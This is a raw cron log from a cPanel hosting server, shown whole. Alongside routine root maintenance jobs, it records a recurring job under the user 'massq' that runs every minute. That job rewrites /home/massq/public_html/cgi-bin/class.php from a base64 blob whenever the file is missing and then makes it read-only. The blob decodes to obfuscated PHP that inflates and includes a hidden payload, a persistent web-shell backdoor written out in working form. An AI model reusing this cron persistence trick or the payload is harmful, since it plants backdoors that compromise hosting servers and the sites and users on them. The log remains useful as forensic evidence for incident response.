Sep  2 18:43:01 server CROND[18514]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:43:01 server CROND[18515]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:44:01 server CROND[18913]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 18:44:01 server CROND[18912]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:44:01 server CROND[18914]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:45:01 server CROND[19301]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 18:45:01 server CROND[19304]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 18:45:01 server CROND[19306]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:45:01 server CROND[19308]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 18:45:01 server CROND[19307]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:45:01 server CROND[19305]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 18:45:01 server CROND[19303]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 18:46:01 server CROND[20120]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:46:01 server CROND[20121]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:46:01 server CROND[20123]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 18:47:01 server CROND[20495]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:47:01 server CROND[20497]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 18:47:01 server CROND[20496]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:48:01 server CROND[21288]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:48:01 server CROND[21289]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:48:01 server CROND[21290]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 18:49:01 server CROND[21652]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:49:01 server CROND[21654]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:49:01 server CROND[21655]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 18:50:01 server CROND[22055]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 18:50:01 server CROND[22056]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 18:50:01 server CROND[22057]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 18:50:01 server CROND[22062]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 18:50:01 server CROND[22066]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 18:50:01 server CROND[22081]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:50:01 server CROND[22079]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 18:50:01 server CROND[22083]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:50:01 server CROND[22078]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 18:51:02 server CROND[23093]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:51:02 server CROND[23096]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 18:51:02 server CROND[23094]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:52:01 server CROND[23483]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 18:52:01 server CROND[23484]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:52:01 server CROND[23485]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:53:01 server CROND[23958]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:53:01 server CROND[23959]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 18:53:01 server CROND[23960]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:54:01 server CROND[24339]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:54:01 server CROND[24340]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 18:54:01 server CROND[24341]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:55:01 server CROND[24725]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 18:55:01 server CROND[24727]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 18:55:01 server CROND[24729]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 18:55:01 server CROND[24730]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 18:55:01 server CROND[24732]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
